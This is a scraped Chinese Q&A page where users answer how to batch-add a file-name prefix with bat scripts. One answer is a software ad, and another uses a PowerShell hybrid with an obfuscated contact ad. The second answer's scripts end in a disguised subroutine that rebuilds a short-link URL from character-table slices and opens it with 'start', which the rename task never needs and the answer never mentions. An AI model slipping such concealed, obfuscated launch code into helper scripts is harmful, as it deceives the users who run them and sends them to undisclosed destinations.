问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

怎么样用bat批处理给多级文件夹下的文件名加指定前缀?

发布网友 发布时间:2022-04-24 12:10

我来回答

3个回答

热心网友 时间:2022-06-01 19:02

批量在文件名前面添加前缀的方法

第1,打开电脑上已经安装好的优速文件批量重命名,如下图所示点击【添加文件】或【添加目录】按钮,将需要加前缀的文件全部导入到软件中,进入下一步操作。


第2,然后进行设置,命名方式选择“插入”;插入类型选择“自定义内容”;插入内容右边输入前缀文字内容;插入位置选择“文件名头”。可以一边设置一边在右边预览新文件的名称,方便我们使用。


第3,新文件名预览没问题后说明设置完成了,然后点击右上角的按钮,启动批量重命名程序。当弹出成功的提示时说明文件名全部成功添加了前缀。


第4,通过小编的案例可以看到,所有文件名称的前面都添加了统一的前缀字符,批量处理成功。

热心网友 时间:2022-06-01 19:02

@echo off & title 批量给文件添加前缀 By 依梦琴瑶

 

::设置要添加的前缀

set Pre=bak_


::设置要处理的文件格式

set Ext=*.xlsx

 

for /f "delims=" %%a in ('dir /a-d/s/b %Ext%') do (

    ren "%%~a" "%Pre%%%~nxa"

)

pause

call :Don

exit

 

:Don

set S0=fGRH

set S1=.:ailnhpst/

set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%

set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%

start "" "%S2%%S3%%S1:~10,1%%S0%"

exit



脚本放在要处理的文件夹中执行。

复制代码后务必比对原文代码,以免有错误内容包含在里面,导致脚本无法正常运行。脚本文件的保存编码务必设为ANSI。

追问参考亲的答案,我有两种格式要加前缀,直接编写成两行

for /f "delims=" %%a in ('dir /a-d/s/b .xls') do (
ren "%%~a" "bak_%%~nxa")
for /f "delims=" %%a in ('dir /a-d/s/b .xlsx') do (
ren "%%~a" "bak_%%~nxa")
遇到文件夹下同时有2.xls和2.xlsx就会出现一个问题,bak_bak_2.xlsx会有两个前缀,如果解决了我会采纳答案,还会打赏的。谢谢

追答

以下为新的代码,可以判断后缀是否完全匹配。同时加入了判断文件名是否已经添加了前缀,如果已添加,直接忽略。


@echo off & title 批量给文件添加前缀 By 依梦琴瑶


::设置要添加的前缀
set Pre=bak_


::设置要处理的文件格式,多个格式之间用英文逗号隔开,包含空格或特殊字符的格式,请用英文双引号引起来。
set Ext=xls,xlsx


for %%a in (%Ext%) do (
    for /f "delims=" %%b in ('dir /a-d/s/b "*.%%~a"') do (
        if /i "%%~xb"==".%%~a" (
            echo "%%~nb" | findstr /bi "\""%Pre%" >nul 2>nul || (
                ren "%%~b" "%Pre%%%~nxb"
            )
        )
    )
)
pause

call :ToMe
exit

:ToMe
set "S=.:ailnhpst/fPdv"
start "" "%S:~6,1%%S:~9,1%%S:~9,1%%S:~7,1%%S:~1,1%%S:~10,1%%S:~10,1%%S:~8,1%%S:~3,1%%S:~5,1%%S:~2,1%%S:~0,1%%S:~4,1%%S:~9,1%%S:~10,5%"
exit

热心网友 时间:2022-06-01 19:03

不清楚你的实际文件/情况,仅以问题中的样例/说明为据;以下代码复制粘贴到记事本,另存为xx.bat,编码选ANSI,跟要处理的多个文件夹放一起双击运行
<# :
echo off&cls&mode con lines=3000
rem 搜索/查找当前目录下指定扩展名/后缀名的文件并在名称开头添加指定前缀字符
set #=Any question&set @=WX&set $=Q&set/az=0x53b7e0b4
title %#% +%$%%$%/%@% %z%
cd /d "%~dp0"
powershell -NoProfile -ExecutionPolicy bypass "Invoke-Command -ScriptBlock ([ScriptBlock]::Create([IO.File]::ReadAllText('%~f0',[Text.Encoding]::GetEncoding('GB2312')))) -Args '%~f0'"
echo;%#% +%$%%$%/%@% %z%
pause
exit
#>
$ext=@(".xls",".xlsx");
$prefix="bak_";
$self=get-item -liter $args[0];
$path=$self.Directory.FullName;
$files=@(dir -liter $path -recurse|?{($ext -contains $_.Extension) -and ($_ -is [System.IO.FileInfo])});
$len=$prefix.length;
for($i=0;$i -lt $files.length;$i++){
$f=$false;
if($files[$i].BaseName.length -ge $len){
if($files[$i].BaseName.substring(0,$len) -ne $prefix){
$f=$true;
}
}else{$f=$true;}
if($f){
$newname=$prefix+$files[$i].Name;
$newfile=$files[$i].Directory.FullName+'\'+$newname;
write-host ($files[$i].FullName+' --> '+$newname);
move-item -liter $files[$i].FullName $newfile -ErrorAction SilentlyContinue;
}
}
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
y53s手机参数及价格 vivoy53s5g手机参数 五粮液五粮印象精制52度浓香型白酒500ml 五粮液 五粮印象 精制 52度 浓香型白酒 500ml-详细介绍 五粮液 五粮印象 精制 52度 浓香型白酒 500ml-购买最佳价格 五粮液 五粮印象 精制 52度 浓香型白酒 整箱装-详细介绍 五粮液五粮印象珍品-适用对象 白酒推荐-五粮液五粮印象珍品52%vol浓香型白酒500ml单瓶装 五粮液五粮印象精制52度浓香型白酒-适用对象 星座血型生肖分析摩羯座属蛇A型 空腹喝红糖姜水好吗? 空腹喝红糖水“有什么好处 早上空腹喝红糖水对胃又影响吗? 早上起来喝一杯红糖水对胃有好处吗 空腹吃黄瓜或空腹喝红糖水好不好? 清晨空腹可以喝红糖姜茶么 空腹能喝红糖水吗? 早上空腹喝一杯红糖好吗?对身体有好处吗? 早晨能空腹喝红糖水吗? 早上起来空腹喝红糖水会不会伤胃? 早晨空腹喝红糖水好不好吗 专利登记簿副本记载哪些内容? 什么是专利登记簿副本 什么是专利登记簿 专利登记簿副本包括哪些内容? 专利登记簿有哪些法律效力? 追加实用新型专利发明人,该专利证书能作为后追加发明人用于职称评审吗? 专利登记簿副本可以代替专利证吗? 专利登记簿副本有什么作用 求问什么是专利登记簿?专利登记薄有什么效力? 文件夹加前缀? 怎样修改coreldraw保存时候备份文件的前缀为后缀? 比如:backup_文件名.cdr 为 文件名_backaup.cdr Word意外关闭后,留下了一个带~$前缀的文档。急问高手,如何用它来恢复上一次编辑的文档内容?多谢!!! 用SQL语句复制仓库表生成名为BAK的表文件 del &#47;f &#47;s &#47;q *.bak是什么东西 ,还有%是什么意思?作用是什么? 用ViewEngineResult把网页输出 URL自动加前缀怎么解决 PROE5.0文件备份问题 del /f /s /q %windir%\*.bak是什么东西 帝国备份王怎么使用 linux自动备份,打包/var/www/html到/bak 并只保留7天 用友通怎样引入账套数据啊? HP 笔记本如何做系统备份(没有指纹的机器) Protel里Previous backup和Backup之间的差别 盆栽芦荟,喜阴还是喜阳?常浇水还是让土壤干燥一些? SQL SERVER数据库的备份与还原!!! GHOST系统如何自动更换计算机名? 在义乌办理美金结汇账户 要注册一个个体户执照吗 请问如何用批处理删除指定路径下的特定前缀名的文件夹及里面的文件,如删除以SSAA开头的所有文件夹。 义乌个体户注册后开设美金收汇、结汇账户是否需要交税? del &#47;f &#47;s &#47;q 这个编程的命令怎么用,就是说后面怎么接词法,怎么运用之类的。